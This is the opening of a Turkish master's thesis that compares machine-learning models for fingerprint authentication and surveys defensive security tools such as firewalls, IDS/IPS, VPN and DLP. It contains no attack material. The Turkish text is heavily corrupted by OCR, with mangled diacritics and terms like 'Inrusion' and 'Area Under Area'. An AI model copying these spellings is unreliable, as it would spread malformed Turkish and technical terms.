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OZET

Bu tez, siber giivenlik baglaminda parmak izi tanima sistemlerinin etkinligini artirmak i¢in
cesitli makine Ogrenmesi modellerinin performansini derinlemesine analiz eder.
Calismanin temel amaci, biyometrik verilerin dogrulugunu ve giivenligini maksimize
edecek en uygun makine Ogrenmesi tekniklerini belirlemektir. Bu baglamda, rastgele
orman (random forest), gradient boosting, k-en yakin komsu, neural network, stokastik
gradyan inis ve destek vektdr makinesi modelleri detayl bir sekilde incelenmistir. Her bir
modelin egitim ve test siireleri, alan altinda kalan alan, dogruluk (mevcut dogruluk), F1
skoru, kesinlik (precision) ve hatirlama (recall) oranlari degerlendirilmistir. Ozellikle
rastgele orman, yiiksek alan altinda kalan alan degeri (0.961) ve dogruluk oran1 (0.922) ile
dikkat ¢cekmektedir. Tezin temel bulgulari, siber giivenlik alaninda parmak izi tanima
sistemlerinin gelistirilmesinde onemli katkilar saglamaktadir. Parmak izi tanima, siber
giivenlik alaninda kritik bir rol oynayan biyometrik dogrulama yontemidir ve bu yontemin
dogrulugu, kullanilan algoritmalara baglidir. Makine 6grenmesi teknikleri, bu dogrulama
stireclerinin etkinligini artirmak i¢in giderek daha fazla kullanilmaktadir. Bu calisma,
cesitli makine 6grenmesi modellerinin parmak izi tanima sistemlerindeki uygulamalarinm
kapsamli bir sekilde ele alarak, bu modellerin performansini kiyaslamaktadir. Rastgele
orman modeli, diger modellere gore daha hizli egitim ve test siireleri sunmakta ve yiiksek
dogruluk oranlarina ulagmaktadir. Bu, rastgele orman'in parmak izi tanima sistemlerinde
kullanimi i¢in ideal bir segenek oldugunu gostermektedir. Ote yandan, destek vektdr
makinesi modelinin diisiik performansi, parmak izi tanima gibi hassas uygulamalar i¢in
uygun olmadigim1 ortaya koymaktadir. Calismanin bu bulgulari, siber giivenlik
uygulamalarinda model se¢iminin dnemini vurgulamaktadir.
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ABSTRACT

This thesis analyzes in depth the performance of various machine learning models to
improve the effectiveness of fingerprint recognition systems in the context of
cybersecurity. The main purpose of the study is to determine the most appropriate machine
learning techniques that will maximize the accuracy and security of biometric data. In this
context, random forest, gradient boosting, k-nearest neighbors, neural network, stochastic
Gradient descent and support vector machine models were examined in detail. Training
and testing times, Area Under Area, accuracy , F1 score, precision and recall rates of each
model were evaluated. In particular, Random forest attracts attention with its high area
under curve value (0.961) and accuracy rate (0.922). The main findings of the thesis
provide significant contributions to the development of fingerprint recognition systems in
the field of cyber security. Fingerprint recognition is a biometric verification method that
plays a critical role in the field of cybersecurity, and the accuracy of this method depends
on the algorithms used. Machine learning techniques are increasingly used to increase the
effectiveness of these verification processes. This study comprehensively considers the
applications of various machine learning models in fingerprint recognition systems and
compares the performance of these models. The Random forest model offers faster training
and testing times than other models and reaches high accuracy rates. This shows that
Random Forest is an ideal option for use in fingerprint recognition systems. On the other
hand, the low performance of the support vector machine model reveals that it is not
suitable for sensitive applications such as fingerprint recognition. These findings of the
study emphasize the importance of model selection in cyber security applications.
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1. GIRIS

Teknolojik gelismelerle birlikte kullanilan faydali cihazlar fazlasiyla artmistir. Bu cihazlar
cep telefonu, akilli ev aletleri, endiistriyel cihazlar olmak iizere bireysel destek
saglamaktan toplumsal destek saglamaya kadar genis yelpazede destek saglamaktadir. Bu
destek bireylerin iletisiminin saglanmasindan, iilkenin enerji sistemleri, saglik sistemleri,
ulagim sistemleri gibi devasa sistemlerin sorunsuz calisabilmesini kapsamaktadir. Bu
cihazlar ve sagladig desteklerin inanilmaz yiikselisi yapay zeka ve makine 6grenmesi ile

birlikte daha da 6teye gitmistir.

Endiistri 4.0, makinelesme, Nesnelerin Interneti (Internets of things-10T), Endiistriyel
Nesnelerin Interneti (Industrial Internet of Things-110T), cihazlar, yapay zeka (Avrtificial
Intelligence-Al), makine 6grenmesi (Machine Learning-ML) ile tiim bu biiyiik sistemlerde
minumun maliyet ve maksimun faydanin saglanmasi noktasinda ilerleme kaydedilmistir.
Bu noktada tiim bu sistemlerin siber giivenligi endisesi de zirve yapmistir. Siber giivenlik
acisindan tehditler geliserek artmistir. Siber tehditler ve tedbirler ¢ergevesinde oncelikli

olarak ilgili sistemlere emniyetli giris tedbirleri ilk adim olarak kabul edilebilir.

Tim dijital sistemlere geleneksel olarak tek basma sifre ile giris uzun yillardir
uygulanmaktadir. Ancak sifre ile girislerde sifrelerin Kaba Kuvvet Siber (Brute Force
Attack) saldirnlar1 veya diger saldirilar ile kolayca tespit edilebilmesi giivenli giris
islemlerini birden ¢ok faktor ile saglama ihtiyact dogurmustur. Sifrelere ek olarak,
elektronik posta ile kimlik dogrulama, token kullanarak dogrulama ve biyometrik veriler
ile iki faktorlii dogrulama (Two Factor Authentication-2FA) dogrulama tedbiri
gelistirilmistir. Cok faktor ile dogrulama islemlerinde biyometrik verilerin ¢alinamamasi
durumu, essiz olmas1 durumu, tasnif edilebilir olma durumlar1 diger alternatiflere gére 6ne

cikmasini saglamaktadir.

Biyometrik veriler ve islenmesini ele almak gerekirse; dncelikle biyometrik veriler genel
olarak essiz verilerdir, benzemezler ve ¢ogunlukla degistirilemezlerdir. Biyometrik veriler
gelismis sensorler sayesinde kayit altina kolaylikla alinabilmektedir. Kayit altina alinan
biyometrik verinin gelistirilen yazilim sayesinde 6zellikleri ¢ikarilir. Ozellikleri ¢ikarilan

biyometrik veri yazilimi sayesinde matematiksellestirilir ve ilgili sisteme sorgulanabilir bir



sekilde kayit edilir. Parmak izi, avug izi, DNA, Ses, Goriintii, Damar izi, Retina, Iris ve

digerleri belirtilen siireg ile sorgulanabilir hale getirilebilmektedir.

Sorgulanabilir hale gelen biyometrik veriler kimlik dogrulama veya kimlik tespitinde
yiizde ylize yakin dogruluk ile ¢ok kisa siire de basar1 ile sorgulanip sonug
alinabilmektedir. Diinyada uygulamalara baktigimizda 6rnegin yaklasik 20 yildir otomatik
parmak ve avug izi tespit sistemleri aktif olarak kullanilmaktadir. Gliniimiizde bu sistem
AFIS (Automated Finger Print Investigation System) olarak kabul gérmiistiir. Bu sistem
detayll incelendiginde bir parmak izinin ilgili veritabaninda sorgulanip yiizde yiize ¢ok
yakin bir dogruluk ile 1-2 saniyede sonuglandirilabildigi goriilmektedir. Parmak izi
biyometrik verisi 6zelinde bakildiginda basarili sistemler oldugu goriilmektedir. Yiiz, ses,

retina ve diger biyometirk verilerde ayni prensip ile kurulmus basarili sistemlerdir.

Dijital diinyada siber tehditlere karsi kimlik dogrulamaya dayali etkili bir siber giivenlik
diistintilecek ise bunun parmak izi ile kimlik dogrulama ve siber giivenlik olarak ele
almanin dogru olacagi goriilmiistiir. Parmak izi sistemleri diger biyometrik verilere gore
daha ¢ok gelistigi ve daha kolay ve siklikla kullanildig1 goriilmistiir. Ttirk hukuk sistemine
baktildiginda Ceza Muhakemesi Kanunu 81. Madde ve Polis Vazife ve Salahiyetleri
Kanunu 5. Maddesi ile parmak izlerinin alinmasi, kullanilmasi, saklanmasi ve diger tim
islemleri diger biyometrik verilerin aksine belirlenmistir. Tiim bunlar g6z Oniinde
bulunduruldugunda parmak izi biyometrik verisinin se¢ilmesinin isabetli bir karar oldugu

gorilmiistiir.

Problem durumu

Dijitallesen diinyada yasanan gelismeler ardindan siber tehditleri de getirmektedir. Siber
tehditlere karsilik giivenligi saglamak icin bireysel ve endiistriyel sistemlere geleneksel
girig yontemi sifre kullanilmasinin yetersiz oldugu goriilmiistiir. Bu sebeple iki faktorlii
kimlik dogrulama (2FA- Two Factor Authentication) ile sistemlere giris gelistirilmistir. Bu
ihtiya¢c noktasinda essiz, ele gegirilemez, unutulamaz bir kimlik dogrulama yontemi
kullanmak vazgecilmez olmustur. Bunu essiz yaratilmis olan insanin biyometrik verileri ile
saglamak milkemmel bir ¢6ziim olarak goriilmektedir. Nitekim 2 faktorli kimlik
dogrulama uygulamalarinda kullanicinin olusturdugu sifre yaninda elektronik posta, mobil

telefon uygulamalar1 ve biyometrik veriler kullanmak en yaygin yontemler oldugu



goriilmektedir. Bu noktada ikinci faktor i¢in ya kullanicinin sahip oldugu ya da

kullanicinin kendisi 6nerilmistir (Dmitrienko, Liebchen, Rossow ve Sadeghi, 2014).

Arastirmanin amaci

Parmak izi ile kimlik dogrulama, gilinlimiizde bireylerin dijital varliklarin1 korumada
yaygin olarak kullanilan teknolojilerden biridir. Bu baglamda, Parmak izi ile Kimlik
Dogrulamada Siber Giivenlik arastirmasinin temel amaci, kisisel veri kapsamina giren
Biyometrik verilerin kullanilarak hem sistemlerin siber giivenligini saglamak hemde
Biyometrik verinin korunmasini saglamak amaglanmistir. Bu maksatla Biyometrik
sistemlere yonelebilecek siber tehditler ve buna karsilik alinabilecek onlemler Biyometrik
verinin essiz giicli ile birlikte ele alinmistir. Boylece parmak izi biyometrik verisi ile kKimlik
dogrulama yonteminin siber giivenlik agisindan kapsamli bir degerlendirme sunmak
amaclanmistir. Bu amacin sunulmasi i¢in Biyometrik sistemler ve parmak izi Biyometrik
sistemlerinin muhtemel giivenlik agikliklar1 incelenecektir. Miiteakiben ilgili sistemlerin
giivenligi degerlendirilecektir. Giivenlik agiklikliklarina yonelebilecek muhtemel saldir
senaryolar1 ele alinacaktir. Tim bu degerlendirmeler yapay zekad algoritmalar1 ile ele

aliarak en etkin onleyici tedbirlerin alinmas1 amaglanmustir.

Arastirmanin dnemi

Giliniimiiz dijital ¢aginda, bireylerin ve kurumlarin siber giivenlikle ilgili endiseleri giderek
artmaktadir. Bu endiselerin merkezinde ise kimlik dogrulama sistemlerinin giivenligi,
ozellikle de parmak izi ile kimlik dogrulama, 6nemli bir rol oynamaktadir. Bu baglamda,
Parmak izi ile Kimlik Dogrulamada Siber Giivenlik konusu tiim biyometrik veriler ile
yapilabilecek biyometrik dogrulama sistemlerinde uzman giivenlik sistemi olarak kabul
edilebilecektir. Biyometrik verilerin islenmesi, saklanmasi, sorgulanmasi islemleri yapi
itibar1 ile birbirlerine benzemektedir. Parmak izi biyometrisi 6zelinde yapilan ¢alismalar
tiim diger uzman sistemlerin siber giivenligine de katkida bulunacag1 degerlendirildiginde
aragtirmanin ne denli 6nemli oldugu anlasilmaktadir. Ayrica tiim biyometrik verilerin

kisisel veri olmasi sebebi ile siber giivenlikleri cok 6nemlidir.



Jain, Bolle ve Pankanti (1999), parmak izi gibi biyometrik veri tiirlerinin bireylerin
benzersiz fiziksel oOzelliklerini temsil ettigini belirtmistir. Bu benzersizlik, kimlik
dogrulama siireglerinde giivenligi artirmaktadir. Dolayisiyla, parmak izi ile kimlik

dogrulama, bireylerin dijital varliklarin1 korumada 6nemli bir aragtir.

Trewin (2003), biyometrik verilerin giivenli bir sekilde depolanmasinin ve iletilmesinin
siber glivenlik agisindan kritik oldugunu vurgular. Parmak izi verileri, dogru ve giivenilir
bir sekilde korunmadiginda ciddi giivenlik agiklarna yol agabilir. Calisma bu gilivenlik

aciklarin1 anlamayi ve gelistirmeyi amaglamasi sebebi ile nemlidir.

Siber tehditlerin karmagikligi ve ¢esitliligi giin gectikce artmaktadir. Ratha, Connell ve
Bolle (2001) parmak izi ile kimlik dogrulamanin bu tehditlere karsi dayanikli olmasi
gerektigini belirtir. Bu nedenle, siber saldir1 senaryolari incelenerek etkili savunma

stratejilerinin gelistirilmesi hedeflenmistir.

Sonug olarak, "Parmak izi ile Kimlik Dogrulamada Siber Giivenlik" baslikl1 yiiksek lisans
tezi, biyometrik verilerin giivenligi ve siber tehditlere karst direng konularinda literatiire
onemli bir katkida bulunmay1 hedeflemektedir. Bu arastirma, siber gilivenlik alanindaki
uzmanlar, endiistri profesyonelleri ve politika yapicilar icin degerli bir kaynak olusturacak

ve giivenli kimlik dogrulama sistemlerinin evrimine katkida bulunacaktir.



2. KAVRAMSAL CERCEVE VE iLGILI ARASTIRMALAR

Bu boliimde tez konumuzun anahtar kelimelerini de olusturan; siber giivenlik tedbirleri,
siber tehdit ¢esitleri, biyometrik veriler, biyometrik sistemler ve biyometrik veriler ile
kimlik dogrulama konular1 detayli olarak ele alinarak aragtirmamiza yonelik konulara yer

verilmistir.
2.1. Siber Giivenlik

Gilinlimiiz teknoloji ¢aginda, dijitallesmenin hiz kazanmasiyla birlikte, bilgi ve iletisim
teknolojileri tizerinden gerceklesen faaliyetlerdeki artis, siber giivenlik konusunu daha da
kritik hale getirmistir. Siber giivenlik, bireylerden biiyiik 6l¢ekli kuruluslara kadar her
seviyede, dijital ortamlardaki varliklar1 ve bilgileri koruma amaci tasiyan karmasik bir
disiplindir. Bu alandaki hizli gelismeler, siber giivenligin bir secenek olmaktan ¢ikip,

stratejik bir zorunluluk haline gelmesini saglamistir.

Siber giivenligin 6nemi, siber tehditlerin ¢esitlenmesi ve karmasik hale gelmesiyle paralel
olarak artmaktadir. Dijital diinyadaki bilgi ve veri trafigi, siber saldirilarin birincil hedefi
haline gelirken, bu saldirilarin potansiyel etkileri giderek daha karmasik ve zarar verici bir
boyut kazanmaktadir. Siber saldirilar, bilgi sizintilari, fidye yazilimlari, kimlik hirsizliklar
ve altyapi saldirilart gibi ¢esitli bigimlerde ortaya cikarak, kiiresel diizeyde ciddi tehditler

olusturmaktadir.

Siber giivenlik, sadece teknik onlemlerle degil, ayn1 zamanda politika, egitim, farkindalik
ve uluslararas: isbirligi gibi ¢oklu disiplinleri igeren biitiinciil bir yaklasim gerektirir.
Organizasyonlar, siber tehditlere karst proaktif bir tutum benimsemeli ve siirekli olarak
giivenlik stratejilerini giincellemelidir. Ayn1 zamanda bireylerin de dijital giivenlik bilinci
yiiksek olmali ve gilivenlik uygulamalarina aktif bir sekilde katkida bulunmalar

gerekmektedir.

Siber giivenligin giiniimiiz dijital ortamindaki merkezi onemini vurgularken, bu alanda
karsilagilan zorluklara ve ¢6zlim yollarina yonelik bir ¢ergeve sunmayi amaglamaktadir.
Siber giivenligin, dijital ¢agin temel tas1 olmasi, siber uzayda giivenligin saglanmasi

gerekliligini beraberinde getirirken, bu konuda bilgi sahibi olmak ve siirekli olarak



giivenlik bilincini gelistirmek, dijital diinyada giivenli bir gelecek ig¢in kritik bir adimdir.

Bu maksatla asagida siber gilivenlik ile ilgili kavramlar agiklanmaya ¢aligilmistir.

2.1.1. Giivenlik duvari

Giivenlik duvarlar1 (Firewall), bilgisayar aglarin1 korumak igin kullanilan temel giivenlik
onlemlerinden biridir (Palo Alto Networks, 2018). Bunlar, ag trafigini izleyen ve kontrol
eden cihazlardir. Giivenlik duvarlari, gelen ve giden veri paketlerini analiz eder ve belirli
kriterlere uyan veya uymayan paketleri engeller veya izin verir. Giivenlik duvari, modern
bilisim diinyasinda temel bir giivenlik 6nlemi olarak kabul edilmektedir (Whitman ve
Mattord, 2011). Bu, bilgisayar aglarin1 korumak i¢in kullanilan bir cihaz veya yazilim
uygulamasidir. Genellikle bir agin i¢ ve dis trafigi arasindaki sinirda bulunur ve gelen veya

giden veri paketlerini izler, analiz eder ve gerektiginde filtreler.

Giivenlik duvarlari, bilgisayar aglarma yetkisiz erigimleri engelleyerek, kotii amagh
yazilimlar1 durdurarak ve ag trafigini izleyerek cesitli giivenlik tehditlerine karsi savunma
saglar. Bu onemli giivenlik 6nlemi, i¢ aglarin dis diinyayla baglantisin1 kontrol eder ve
siber saldirilara karsi bir bariyer gorevi goriir. Giivenlik duvarlari, kurumlar, isletmeler,
bireyler ve herhangi bir agin giivenligi i¢in ¢ok Onemlidir ve gilivenlik stratejilerinin
vazgegilmez bir pargasidir (Mukkamala ve Rajendran, 2020). Dogru bir sekilde
yapilandirildiginda ve giincellendiginde, giivenlik duvarlari, bilgisayar aglarini siber

tehditlere kars1 korumak icin etkili bir arag olabilir.

2.1.2. Biitiinlesik giivenlik yonetim cihazi

Biitiinlesik giivenlik yonetim (Unified Threat Management-UTM) cihazlari, farkli giivenlik
islevlerini tek bir cihazda birlestiren giivenlik ¢oziimleridir (Adams ve Neil, 2015). Bunlar,
giivenlik duvari, antiviriis, zararli yazilim (anti-malware), sizma onleyici ve sanal 6zel
aglar (Virtual Private Network-VPN) gibi &zellikleri icerebilir. UTM cihazlari, aglar

cesitli tehditlere kars1 korurken yonetim kolaylig1 saglar.

Biitiinlesik giivenlik yonetimi cihazlari, gliniimiiziin karmasik siber gilivenlik tehditleriyle
basa ¢ikmak i¢in tasarlanmis kapsamli giivenlik ¢oziimlerini ifade eder (Cavusoglu, Mishra

ve Raghunathan, 2008). UTM, tek bir cihaz veya yazilim iizerinde birden fazla giivenlik



islevini birlestirir. Bu islevler arasinda giivenlik duvari, antiviriis, antispam, igerik
filtreleme, ve sanal 6zel ag (VPN) gibi 6zellikler bulunabilir. Biitiinlesik giivenlik yonetimi
cihazlari, ag giivenligini saglamak i¢in farkli bilesenleri ve 6zellikleri bir araya getirerek ag
yoneticilerine yonetim kolayligi ve maliyet tasarrufu saglar. Bu cihazlar, farkli tehditlere
karst ¢ok katmanli bir savunma sunar ve ag trafigini izlerken giivenlik politikalarin
uygular. Ozellikle kiiciik ve orta &lgekli isletmeler igin Biitiinlesik giivenlik yonetimi
cihazlari, siber saldirilara kars1 korunmada etkili bir ¢6ziim sunar. Ayni zamanda biiyiik

organizasyonlar i¢in de giiclii bir giivenlik 6nlemi olarak kullanilir.
2.1.3. Izinsiz giris 6nleme sistemi

Izinsiz Giris Onleme Sistemleri (Inrusion Prevention System-IPS), ag trafigini izler ve
anormal aktiviteleri tespit eder, ardindan bu aktiviteleri engeller (Cisco, 2020). IPS,
bilgisayar aglarin1 siber saldirilara kars1 korur ve hizli bir sekilde yanit verir. Modern
aglarda giivenligi artirmak ve saldirilart sinirlamak i¢in 6nemli bir rol oynar (Roesch,
1999). Bu sistemler, ag trafigini siirekli olarak izler ve anormal veya potansiyel olarak
tehlikeli aktiviteleri tespit eder. Eger bir saldir1 algilanirsa, IPS otomatik olarak bu

saldirilar1 engeller veya sinirlar.

IPS, ag trafigini analiz ederek saldirilar1 belirler ve bu nedenle bilgisayar aglarin1 koti
amacl yazilimlardan, saldirilardan ve giivenlik ihlallerinden koruma kabiliyetine sahiptir.
Ozellikle biiyiik organizasyonlar ve veri merkezleri icin kritik bir giivenlik énlemi olarak
kullanilir. IPS'ler, giincel tehditlere kars1 ag gilivenligi saglamak ig¢in siirekli olarak
giincellenir ve yapilandirilir. Bu sistemler, ag yoneticilerine hizli yanit verme yetenegi

sunar ve agdaki saldirilar1 aninda sinirlayarak potansiyel hasari en aza indirir.
2.1.4. Saldir: tespit sistemleri

Saldir1 Tespit Sistemleri (Intrusion Detection System-1DS), agdaki potansiyel tehditleri
izler ve belirler (Stallings ve Brown, 2017). IDS, agda gelisen olaylar1 analiz eder ve
potansiyel saldirilart tespit ederek bildirir. Bilgisayar aglarindaki giivenlik ihlallerini
izlemek ve tespit etmek i¢in kullanilan 6nemli bir giivenlik aracidir (Pfleeger ve Pfleeger,
2007). Bu sistemler, ag trafigini analiz eder ve anormal aktiviteleri veya potansiyel

saldirilar belirler.



IDS, agdaki potansiyel tehditleri izler ve bu tehditleri tespit ettifinde uygun giivenlik
ekiplerine veya yoneticilere bildirir. Bu sayede, giivenlik uzmanlart hizli bir sekilde
miidahale edebilir ve agin giivenligini saglayabilir. Bu sistemler, i¢ ve dis saldirilara karsi
koruma saglayabilir ve ag giivenligi icin dnemli bir bilesen olarak kabul edilirler. Ozellikle
biiyiik organizasyonlar ve kritik altyapilar i¢in IDS, giivenlik stratejilerinin ayrilmaz bir

pargasidir.

2.1.5. Anti-viriis

Anti-viriis yazilimlari, bilgisayar giivenliginin temel taslarindan biridir ve bilgisayar
kullanicilarinin kotii amacl yazilimlardan korunmasina yardimer olur (Symantec, 2021).
Bu yazilimlar, bilgisayar sistemlerini viriisler, trojanlar, solucanlar ve diger kotii amagh
yazilimlardan korumak i¢in tasarlanmistir. Antiviriis (AV) yazilimi, ¢ok ¢esitli bilinen kotii
amagl yazilim tehditlerini tespit edebildigi i¢in yaygin olarak kullanilmakta ve tavsiye

edilmektedir (Al-Saleh, Espinoza ve Crandall, 2013).

Anti-virlis yazilimlari, diizenli olarak bilgisayar sistemlerini tarama yaparak bilinmeyen
veya zararli dosyalar tespit eder ve kullanicilar1 uyarir veya bu dosyalari izole eder. Ayni
zamanda giincel tehdit veritabanlarina sahip olur ve yeni kotii amagh yazilimlara karsi
koruma saglar. Kurumsal ve bireysel diizeyde, her ne kadar ge¢mis zamanda viriis kaynakli
sorunlar yasanana kadar kurum ve bireyler antivirlis igin biitge ayirmasa da, son
zamanlarda anti-virlis yazilimlari, bilgisayar giivenliginin vazgeg¢ilmez bir parcasi olarak
kabul gérmiistiir (Post ve Kagan, 1998). Bu yazilimlar, siber saldirilardan kaynaklanan veri

kaybini, kimlik hirsizligini ve sistem zararin1 6nlemeye yardimci olur.

2.1.6. Kotii amach yazilim tespit sistemleri

Kotii amaghi yazilim yani malware, izinsiz ve sistem sahibinin bilgisi olmadan bir
bilgisayar sistemine sizan veya zarar veren kotli amaglt yazilimlardir. Aragtirmacilar bu
terimi bilgisayar viriisti, solucan, truva ati, retroviriis, botnet gibi ¢esitli yazilim veya
program kodu bigimlerini ifade etmek i¢in kullandilar (Thanh ve Zelinka, 2019). Anti-
malware yazilimlari, bilgisayar giivenligi icin kritik bir bilesen olarak kabul edilir ve kotii
amacl yazilimlara karst koruma saglar (ESET, 2021). Bu yazihimlar, bilgisayar

sistemlerini virlisler, truva atlari, fidye yazilimlar1 ve diger kotii amagh yazilimlardan



korumak i¢in tasarlanmistir. Anti-malware yazilimlari, sistemi diizenli olarak tarama
yaparak zararli dosyalar tespit eder ve kullanicilar1 uyarir veya bu dosyalar1 izole eder.
Ayrica glincel tehdit veritabanlarina sahiptir ve yeni kotii amagh yazilimlara karst koruma
saglar. Kurumsal ve bireysel diizeyde, anti-malware yazilimlari, siber saldirilardan
kaynaklanan veri kaybini, finansal kayiplar1 ve sistem zararin1 6nlemeye yardimci olur.
Koti amacgh yazilimlarin siirekli olarak evrim gegirdigi bir ¢evrede, bu tiir yazilimlarin

kullanilmasi 6nemlidir.

2.1.7. Casus yazilim tespit sistemleri

Casus yazilim veya spyware, ingilizce spy ve software sozciiklerinden tretilmistir. Zararli
Yazilim (malware) tiirlerinden biridir. Casus yazilimlar hem bireylerin hem de
organizasyonlarin mahremiyeti ve gizliligi agisindan biiyiik bir tehlike olarak kabul edilir
ve siklikla her tiirlii cihaz iizerinde depolanan verilerin zarar gérmesine ve kaybolmasina
sebep olur (Sheta, Zaki, EI Hadad ve Aboelseoud, 2016). Casus yazilimlarin sanildigindan
da yaygin oldugu asagidaki birkag istatistikte de goriillmektedir (Wikipedia,2023).

Spyware, terimi spy ve software kelimelerinin birlestirilmesi ile tiiretilmis olup zararh
yazilimlardan biridir. Anti-spyware ise bilgisayar giivenligi alaninda 6nemli bir role
sahiptir ve zararli yazilimlara karsi koruma saglar. Anti-spyware yazilimlari, bilgisayarlari
diizenli olarak tarar ve casus yazilimlar1 veya diger kotli amagli yazilimlar tespit eder. Bu
yazilimlar, casus yazilim sorunlarini dnleyen, tespit eden ve ¢ozen 6zelliklere sahip casus
yazilim 6nleme yazilimi, acik ara en ¢ok oOnerilen ¢oziimdiir. Saldirilar izler, kotli amach
casus yazilimi tanimlar ve ardindan onu sistemden kaldirir (Lee ve Kozar,2008).
Kurumsal diizeyde ve bireysel kullanicilar i¢in, anti-spyware yazilimlari, siber casusluga
karst korumanin vazgecilmez bir pargasidir. Bu yazilimlar, bilgisayarlarin ve kisisel

verilerin giivende oldugundan emin olmak i¢in 6nemlidir.

2.1.8. Uygulama kontrolii

Uygulama kontrolii, bilgisayar giivenliginin énemli bir yOniinii olusturur ve bilgisayar
aglarim istenmeyen uygulamalardan ve yazilimlardan korur (Symantec, 2021). Bu
giivenlik Onlemi, kurumlar ve organizasyonlar i¢in Ozellikle kritik Oneme sahiptir.

Uygulama kontrolii, bir bilgisayar aginda ¢aligtirilabilen uygulamalar izler ve sinirlar. Bu
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sayede, bilgisayar aglarmin giivenligi saglanirken istenmeyen yazilimlarin veya
uygulamalarin aga girmesi engellenir. Bu, kotii amacgli yazilimlarin ve siber saldirilarin
yayllmasmi &nler. Ozellikle isletmeler icin, uygulama kontrolii, calisanlarin
bilgisayarlarinda c¢alistirabilecekleri yazilimlar1 ve uygulamalar1 sinirlamak ic¢in kullanilir.
Bu, veri sizintilarina, koti amaghh yazilimlarin bulasmasina ve ag giivenliginin

zedelenmesine karsi etkili bir savunma saglar.

2.1.9. Web filtreleme ¢oziimleri

Web filtreleme ¢ozlimleri, ag giivenliginin dnemli bir parcasi olarak kabul edilir ve internet
erisimini  diizenler ve denetler (Barracuda Networks, 2021). Bu ¢dziimler,
organizasyonlarin ve kullanicilarin belirli web sitelerine erisimini izleyebilir ve
siirlayabilir. Web filtreleme ¢ozlimleri, zararli veya tehlikeli web sitelerine erigimi
engelleyebilir ve koti amaghi yazilimlarin veya oltalama (phishing) girisimlerinin
engellenmesine yardimci olabilir. Ayrica, igerik filtreleme o6zellikleri sayesinde
isyerlerinde istenmeyen igeriklere erisimi sinirlayabilirler. Ozellikle okullar, isletmeler ve
kamu kurumlar i¢in web filtreleme, ag giivenligi ve erisim denetimini saglama konusunda
onemlidir. Bu ¢oziimler, ag trafigini izlerken kurallara uygunlugu denetler ve giivenlige
tehdit olusturan igeriklere karsi koruma saglar. Kotii amagh kaynaga rastgelen tek diizen
kaynak bulucu (Uniform Resource Locator- URL)’lar, indirme yoluyla yonlendirme, spam
ve kimlik avi gibi internet suc faaliyetleri i¢cin bir kanal haline gelmistir. Kotii amagh
URL’lerin algilanmasina yonelik uygulamlar dogrudur ve ihtiyagtir ancak yavastir. Ciinkii
icerigi indirmeleri veya bazi internet ana bilgisayar bilgilerini sorgulamalar1 gerekmektedir

(Lin, Chiu, Lee ve Pao, 2013).
2.1.10. Sanal ozel ag

Gilinlimiizde internet, diisiik maliyetli iletisim mimarisi i¢in ag teknolojisinin ana akimi
haline gelmis, ayni zamanda organizasyonlara ve isletmelere islerinin biiylimesini
desteklemede biiyiik kolayliklar saglamistir. Isletmelerin yerel varliklari igin siklikla
internete ihtiyac duyulmaktadir. Ihtiyacla beraber tehditlerde artmaktadir. Tehditlere
karsilik pek ¢ok ¢6ziim mevcut olup, bunlarin arasinda giivenli internet ortami olugturmak

icin sanal 6zel aglarin oldukga tercih edildigi goriillmektedir (Singh ve Gupta, 2016).
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Sanal 6zel aglar, modern ag giivenliginde kritik bir rol oynayan teknolojilerdir (Cisco,
2021; Stallings, 2017). VPN'ler, kullanicilarin internet lizerinden veri gonderirken veya
alirken verilerin sifrelenmesini saglar ve bu sayede verilerin gizliligini ve biitlinliigiini
korur. VPN'ler, 6zellikle uzaktan ¢alisma, seyahat ve cografi kisitlamalar1 asma amaciyla
yaygin olarak kullanilir (Cisco, 2021). Bu teknoloji, kullanicilarin giivenli bir sekilde
kurumsal aglara veya internete erismesini saglar ve hassas verilerin giivende kalmasina
yardimcr olur (Stallings, 2017). Kurumsal diizeyde, VPN'ler siber saldirilara ve veri

sizintilarina kars1 koruma saglamak i¢in kullanilir ve isletmelerin ag glivenligini artirir.

2.1.11. Veri sizintis1 engelleme sistemleri

Finansal kurumlar, yetkisiz sizinttyr 6nlemeye g¢alisarak hassas verilerini ve bilgilerini
korumak i¢in kaynaklar saglarlar. Kurumlar, hassas veri ve bilgilerin dis saldirganlarin
yani sira dikkatsiz i¢eridekileri tarafindan kaybolmasini ve agiga ¢ikmasini engellemek igin
politikalar1 onaylar ve teknik kisitlamalar uygularlar. Veri sizintisin1 6nlemeye (Data Loss
Prevention- DLP) yonelik tedbirler alirlar (Karamani, 2018). Veri Sizintis1 Engelleme
Sistemleri, kurumlar ve organizasyonlar igin kritik bir bilgisayar giivenligi aracidir
(Symantec, 2021; Whitman & Mattord, 2004). DLP sistemleri, hassas verilerin izlenmesi,

tespiti ve korunmasi i¢in tasarlanmaistir.

Bu sistemler, organizasyonlarin icerisindeki veya disindaki tehditlere kars1 hassas verileri
korur ve sizintilar1 engeller. DLP, verilerin istenmeyen paylasimlarini, transferlerini veya
cikiglarimi tespit ederek, veri gilivenligini saglar. DLP ¢o6ziimleri, organizasyonlarin
uyumluluk gereksinimlerine uymalarina yardimci olur ve veri ihlallerinin finansal ve itibari
kayiplarint dnler (Whitman & Mattord, 2004). Ayrica i¢ tehditler ve dis tehditleri izlemek
ve onlemek i¢in kullanilir. Bu nedenle, DLP sistemleri, biiyiik organizasyonlar ve kurumlar
i¢in bilgisayar giivenliginin 6nemli bir pargasidir ve veri sizintist riskini minimize etmeye

yardimci olur.

2.1.12. Ag erisim denetimi

Ag Erisim Denetimi (Network Access Control-NAC), modern bilgisayar giivenliginin
temel taglarindan biridir ve aglara erisim kontroliinii saglar (Cisco, 2021; Vacca, 2013). Bu

teknoloji, kullanicilarin ve cihazlarin aga giivenli ve uygun bir sekilde baglanmasini saglar.
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NAC, aga baglanan her cihazin ve kullanicinin kimlik dogrulamasini yapar ve uygun
giivenlik politikalarina uyup uymadigini kontrol eder. Bu sayede, aga kotii amagh
cihazlarin veya zararli yazilimlarin girmesini engeller. Organizasyonlar i¢in, NAC, ag
giivenligini artirmada kritik bir rol oynar ve i¢ tehditlere kars1 koruma saglar. Ayrica, aga
baglanan tiim cihazlar izler ve uygun giivenlik dnlemlerinin uygulanmasini zorunlu kilar
(Vacca, 2013). NAC, bilgisayar aglarinit daha gilivenli hale getirerek veri sizintilari, siber

saldirilar ve izinsiz erisimlere kars1 koruma saglar.

2.1.13. Sayisal imza

Sayisal imza (Digital Sign), elektronik iletisim ve islemlerde gilivenligi artiran 6nemli bir
kavramdir (Stallings, 2017; Vacca, 2013). Bu teknoloji, bir belgenin veya iletisimin kim
tarafindan olusturuldugunu ve degistirilip degistirilmedigini dogrulamak i¢in kullanilir.
